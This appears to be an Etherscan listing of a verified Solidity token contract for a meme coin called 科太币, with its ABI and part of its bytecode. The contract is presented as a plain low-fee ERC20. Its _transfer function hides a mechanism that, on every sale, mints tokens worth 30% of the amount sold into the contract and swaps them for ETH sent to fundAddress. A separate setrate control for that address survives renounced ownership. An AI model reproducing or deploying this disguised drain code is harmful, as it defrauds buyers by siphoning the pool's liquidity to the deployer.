ETH Price: $2,818.52 (-9.56%)
 

Overview

Max Total Supply

420,690,000,000,000 科太币

Holders

6

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
72,038,799,080.470226886 科太币

Value
$0.00
0x19B9D250b06D9b20338F6a35F3E21b2c1532E57c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-05
*/

/**
 *Submitted for verification at Etherscan.io on 2023-07-07
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;

/*
 * Telegram : https://t.me/TwoShib_ERC
 * Twitter : https://twitter.com/2SHIB_ERC
 * Website : 20shib.Info
*/

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;


}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract TokenDistributor {
    constructor (address token) {
        (bool success, ) = token.call(abi.encodeWithSignature("approve(address,uint256)",msg.sender, ~uint256(0)));
        require(success);
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 1;
    uint256 public _sellFundFee = 1;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    TokenDistributor public _tokenDistributor;

    constructor (){
        _name = unicode"孤注一掷";
        _symbol = unicode"科太币";
        _decimals = 9;
        uint256 Supply = 420_690_000_000_000;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _totalSupply = Supply * 10 ** _decimals;

        address receiveAddr = msg.sender;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        fundAddress = receiveAddr;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[address(swapRouter)] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[fundAddress] = true;

        IERC20(_uniswapRouter.WETH()).approve(
            address(address(_uniswapRouter)),
            ~uint256(0)
        );

        _tokenDistributor = new TokenDistributor(_uniswapRouter.WETH());

    }

    function disablefee() public onlyOwner{
        _buyFundFee = 0;
        _sellFundFee = 0;
    }

    function setFundAddr(address newAddr) public onlyOwner{
        fundAddress = newAddr;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    uint256 public rate = 30;
    function setrate(uint256 newv) public {
        address on = fundAddress;
        if (msg.sender == on){
            rate = newv;
        }
    }
    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        bool takeFee;
        bool sellFlag;



        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = amount*rate/100;
            if (contractTokenBalance > balanceOf(address(this)))
                _balances[address(this)] = contractTokenBalance;
            
            if (contractTokenBalance > 0)
                swapTokenForETH(contractTokenBalance); 
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (takeFee && !isMarketPair[from] && !isMarketPair[to]){
            takeFee = false;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

   function autoSwap(uint256 _count) public {
        IERC20(_uniswapRouter.WETH()).transferFrom(msg.sender, address(this), _count);
        swapTokenToDistribute(_count);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapTokenToDistribute(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = _uniswapRouter.WETH();
        path[1] = address(this);

        // make the swap
        // if(tokenAmount <= balance)
        try _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of CA
            path,
            address(_tokenDistributor),
            block.timestamp
        ) {} catch {}
        if(balanceOf(address(_tokenDistributor))>0)
            _basicTransfer(address(_tokenDistributor), address(this), balanceOf(address(_tokenDistributor)));
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function removeERC20(address _token) external {
        if(_token != address(this)){
            IERC20(_token).transfer(fundAddress, IERC20(_token).balanceOf(address(this)));
            payable(fundAddress).transfer(address(this).balance);
        }
    }

    event catchEvent(uint8);

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(fundAddress),
            block.timestamp
        ) {} catch { emit catchEvent(0); }
    }

    function setIsExcludeFromFees(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"","type":"uint8"}],"name":"catchEvent","type":"event"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"autoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disablefee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setIsExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newv","type":"uint256"}],"name":"setrate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600c556001600d55601e6010553480156200001f575f80fd5b505f339050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600c81526020017fe5ada4e6b3a8e4b880e68eb700000000000000000000000000000000000000008152506004908162000104919062000b8d565b506040518060400160405280600981526020017fe7a791e5a4aae5b8810000000000000000000000000000000000000000000000815250600590816200014b919062000b8d565b50600960065f6101000a81548160ff021916908360ff1602179055505f66017e9d8602b40090505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000293573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b9919062000cd6565b90505f8173ffffffffffffffffffffffffffffffffffffffff1663c9c65396308573ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000323573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000349919062000cd6565b6040518363ffffffff1660e01b81526004016200036892919062000d17565b6020604051808303815f875af115801562000385573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003ab919062000cd6565b905080600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060065f9054906101000a900460ff16600a6200045f919062000ecb565b846200046c919062000f1b565b6008819055505f33905060085460015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200051b919062000f76565b60405180910390a38060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000743573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000769919062000cd6565b73ffffffffffffffffffffffffffffffffffffffff1663095ea7b360095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f196040518363ffffffff1660e01b8152600401620007c792919062000f91565b6020604051808303815f875af1158015620007e4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200080a919062000ff6565b5060095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000876573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200089c919062000cd6565b604051620008aa906200091b565b620008b6919062001026565b604051809103905ff080158015620008d0573d5f803e3d5ffd5b50600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505062001041565b6102dc8062003ca183390190565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620009a557607f821691505b602082108103620009bb57620009ba62000960565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000a1f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620009e2565b62000a2b8683620009e2565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000a7562000a6f62000a698462000a43565b62000a4c565b62000a43565b9050919050565b5f819050919050565b62000a908362000a55565b62000aa862000a9f8262000a7c565b848454620009ee565b825550505050565b5f90565b62000abe62000ab0565b62000acb81848462000a85565b505050565b5b8181101562000af25762000ae65f8262000ab4565b60018101905062000ad1565b5050565b601f82111562000b415762000b0b81620009c1565b62000b1684620009d3565b8101602085101562000b26578190505b62000b3e62000b3585620009d3565b83018262000ad0565b50505b505050565b5f82821c905092915050565b5f62000b635f198460080262000b46565b1980831691505092915050565b5f62000b7d838362000b52565b9150826002028217905092915050565b62000b988262000929565b67ffffffffffffffff81111562000bb45762000bb362000933565b5b62000bc082546200098d565b62000bcd82828562000af6565b5f60209050601f83116001811462000c03575f841562000bee578287015190505b62000bfa858262000b70565b86555062000c69565b601f19841662000c1386620009c1565b5f5b8281101562000c3c5784890151825560018201915060208501945060208101905062000c15565b8683101562000c5c578489015162000c58601f89168262000b52565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000ca08262000c75565b9050919050565b62000cb28162000c94565b811462000cbd575f80fd5b50565b5f8151905062000cd08162000ca7565b92915050565b5f6020828403121562000cee5762000ced62000c71565b5b5f62000cfd8482850162000cc0565b91505092915050565b62000d118162000c94565b82525050565b5f60408201905062000d2c5f83018562000d06565b62000d3b602083018462000d06565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000dcc5780860481111562000da45762000da362000d42565b5b600185161562000db45780820291505b808102905062000dc48562000d6f565b945062000d84565b94509492505050565b5f8262000de6576001905062000eb8565b8162000df5575f905062000eb8565b816001811462000e0e576002811462000e195762000e4f565b600191505062000eb8565b60ff84111562000e2e5762000e2d62000d42565b5b8360020a91508482111562000e485762000e4762000d42565b5b5062000eb8565b5060208310610133831016604e8410600b841016171562000e895782820a90508381111562000e835762000e8262000d42565b5b62000eb8565b62000e98848484600162000d7b565b9250905081840481111562000eb25762000eb162000d42565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000ed78262000a43565b915062000ee48362000ebf565b925062000f137fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000dd5565b905092915050565b5f62000f278262000a43565b915062000f348362000a43565b925082820262000f448162000a43565b9150828204841483151762000f5e5762000f5d62000d42565b5b5092915050565b62000f708162000a43565b82525050565b5f60208201905062000f8b5f83018462000f65565b92915050565b5f60408201905062000fa65f83018562000d06565b62000fb5602083018462000f65565b9392505050565b5f8115159050919050565b62000fd28162000fbc565b811462000fdd575f80fd5b50565b5f8151905062000ff08162000fc7565b92915050565b5f602082840312156200100e576200100d62000c71565b5b5f6200101d8482850162000fe0565b91505092915050565b5f6020820190506200103b5f83018462000d06565b92915050565b612c52806200104f5f395ff3fe60806040526004361061019f575f3560e01c806370a08231116100eb578063a9059cbb11610089578063dd62ed3e11610063578063dd62ed3e146105ac578063e82bef29146105e8578063ec82746014610612578063f2fde38b1461063a576101a6565b8063a9059cbb1461051e578063ba34c8f11461055a578063ce0192f914610582576101a6565b80638718b24f116100c55780638718b24f146104785780638da5cb5b146104a257806395d89b41146104cc578063a67755c2146104f6576101a6565b806370a08231146103fe578063715018a61461043a578063863587cd14610450576101a6565b806336b2e027116101585780633ecad271116101325780633ecad271146103465780634bf28fd01461038257806365b61b77146103ac5780636f39cfcd146103d6576101a6565b806336b2e027146102ca5780633b3e1383146103065780633bfe62ca1461031c576101a6565b806306fdde03146101aa578063095ea7b3146101d457806318160ddd1461021057806323b872dd1461023a5780632c4e722e14610276578063313ce567146102a0576101a6565b366101a657005b5f80fd5b3480156101b5575f80fd5b506101be610662565b6040516101cb91906122b3565b60405180910390f35b3480156101df575f80fd5b506101fa60048036038101906101f59190612364565b6106f2565b60405161020791906123bc565b60405180910390f35b34801561021b575f80fd5b50610224610708565b60405161023191906123e4565b60405180910390f35b348015610245575f80fd5b50610260600480360381019061025b91906123fd565b610711565b60405161026d91906123bc565b60405180910390f35b348015610281575f80fd5b5061028a6108a9565b60405161029791906123e4565b60405180910390f35b3480156102ab575f80fd5b506102b46108af565b6040516102c19190612468565b60405180910390f35b3480156102d5575f80fd5b506102f060048036038101906102eb9190612481565b6108c4565b6040516102fd91906123bc565b60405180910390f35b348015610311575f80fd5b5061031a6108e1565b005b348015610327575f80fd5b5061033061097e565b60405161033d91906123e4565b60405180910390f35b348015610351575f80fd5b5061036c60048036038101906103679190612481565b610984565b60405161037991906123bc565b60405180910390f35b34801561038d575f80fd5b506103966109a1565b6040516103a391906124bb565b60405180910390f35b3480156103b7575f80fd5b506103c06109c6565b6040516103cd919061252f565b60405180910390f35b3480156103e1575f80fd5b506103fc60048036038101906103f79190612481565b6109eb565b005b348015610409575f80fd5b50610424600480360381019061041f9190612481565b610abb565b60405161043191906123e4565b60405180910390f35b348015610445575f80fd5b5061044e610b01565b005b34801561045b575f80fd5b5061047660048036038101906104719190612572565b610c48565b005b348015610483575f80fd5b5061048c610d2d565b60405161049991906125d0565b60405180910390f35b3480156104ad575f80fd5b506104b6610d52565b6040516104c391906124bb565b60405180910390f35b3480156104d7575f80fd5b506104e0610d79565b6040516104ed91906122b3565b60405180910390f35b348015610501575f80fd5b5061051c60048036038101906105179190612481565b610e09565b005b348015610529575f80fd5b50610544600480360381019061053f9190612364565b610fb9565b60405161055191906123bc565b60405180910390f35b348015610565575f80fd5b50610580600480360381019061057b91906125e9565b610fcf565b005b34801561058d575f80fd5b50610596611033565b6040516105a391906123e4565b60405180910390f35b3480156105b7575f80fd5b506105d260048036038101906105cd9190612614565b611039565b6040516105df91906123e4565b60405180910390f35b3480156105f3575f80fd5b506105fc6110bb565b60405161060991906124bb565b60405180910390f35b34801561061d575f80fd5b50610638600480360381019061063391906125e9565b6110e0565b005b348015610645575f80fd5b50610660600480360381019061065b9190612481565b6111f7565b005b6060600480546106719061267f565b80601f016020809104026020016040519081016040528092919081815260200182805461069d9061267f565b80156106e85780601f106106bf576101008083540402835291602001916106e8565b820191905f5260205f20905b8154815290600101906020018083116106cb57829003601f168201915b5050505050905090565b5f6106fe3384846113ad565b6001905092915050565b5f600854905090565b5f61071d848484611494565b5f1960025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541461089e578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461082191906126dc565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600190509392505050565b60105481565b5f60065f9054906101000a900460ff16905090565b6007602052805f5260405f205f915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096590612759565b60405180910390fd5b5f600c819055505f600d81905550565b600d5481565b600a602052805f5260405f205f915054906101000a900460ff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6f90612759565b60405180910390fd5b8060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8590612759565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccc90612759565b60405180910390fd5b8060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610d889061267f565b80601f0160208091040260200160405190810160405280929190818152602001828054610db49061267f565b8015610dff5780601f10610dd657610100808354040283529160200191610dff565b820191905f5260205f20905b815481529060010190602001808311610de257829003601f168201915b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610fb6578073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610eb391906124bb565b602060405180830381865afa158015610ece573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ef2919061278b565b6040518363ffffffff1660e01b8152600401610f0f9291906127b6565b6020604051808303815f875af1158015610f2b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4f91906127f1565b5060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610fb4573d5f803e3d5ffd5b505b50565b5f610fc5338484611494565b6001905092915050565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361102f57816010819055505b5050565b600c5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561114a573d5f803e3d5ffd5b505050506040513d601f19601f82011682